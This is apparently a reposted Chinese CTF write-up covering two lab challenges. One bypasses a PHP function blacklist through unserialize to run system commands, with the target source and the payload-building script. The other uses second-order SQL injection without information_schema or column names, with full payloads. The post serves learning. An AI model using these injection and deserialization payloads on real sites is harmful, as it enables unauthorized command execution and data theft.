欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1

程序员文章站 2022-06-12 15:41:45
...

[网鼎杯 2020 朱雀组]phpweb



考察知识点:call_user_func()回调函数,反序列化

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1页面看不出啥,抓个包看看。
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
从包中我们可以看到,传递了两个参数,func和p。func的值是date,再结合p的值,我猜测这里是用了call_user_func()来回调函数,即将func的值当作函数名,p的值当作参数。那么我们直接使用system函数查看当前目录下的文件
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1回显Hacker,应该是被waf拦了,用highlight_file()看一下源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
		$a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

果然是使用了call_user_func()函数 ,不过禁用了一部分函数,导致我们没法执行命令。禁用的函数比较全面,所以直接执行命令是不太可行的。然后我看到源码里面有一个Test类,在__destruct()里面会调用gettime(),再看禁用的函数里没有unserialize(),且$func和$p是可控的,那么就可以反序列化来达到命令执行的目的。思路已经明确了,接下来就是构造payload了。

<?php
	class Test{
		var $p="ls";
		var $func="system";
	}
	$a=new Test();
	echo serialize($a);
?>

尝试一下
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1可以看到命令成功执行了,然后就找一下flag的路径,再看flag就行了

find / -name 'flag*'

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1



B

[SWPU2019]Web1


考察知识点: 二次注入,无列名注入
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
先注册个账号登录

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
就只有申请发布广告一个功能,点进去是填写广告名和内容,然后申请,就能在申请列表查看详情。
先申请个名字和内容都为1的广告
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
这里应该是将我们申请的名字和内容存入数据库,查看详情的时候再直接从数据库调用。那么就有可能存在二次注入,试一下

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1申请一个名为1’的广告查看详情报错,说明存在注入。fuzz一下发现过滤了空格,or,and,#。那么就直接通过联合查询确定字段数。
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
确定字段数为22,可显字段是2和3,查一下数据库版本和user。
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1接着查表名的时候发现or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过

  1. InnoDb引擎
    从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
  2. sys数据库
    在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。

这里我们使用innodb绕过。
payload:

-1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1


buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
查到有ads和users两张表
因为上述两种方法都没法注出列名,所以接下来用无列名注入。
构造一下payload:

-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1


查到了一列内容
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1再查另一列

-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select*from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1


拿到flag
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1
关于无列名注入有兴趣的可以去百度一下,我过段时间应该也会写一篇无列名注入的文章。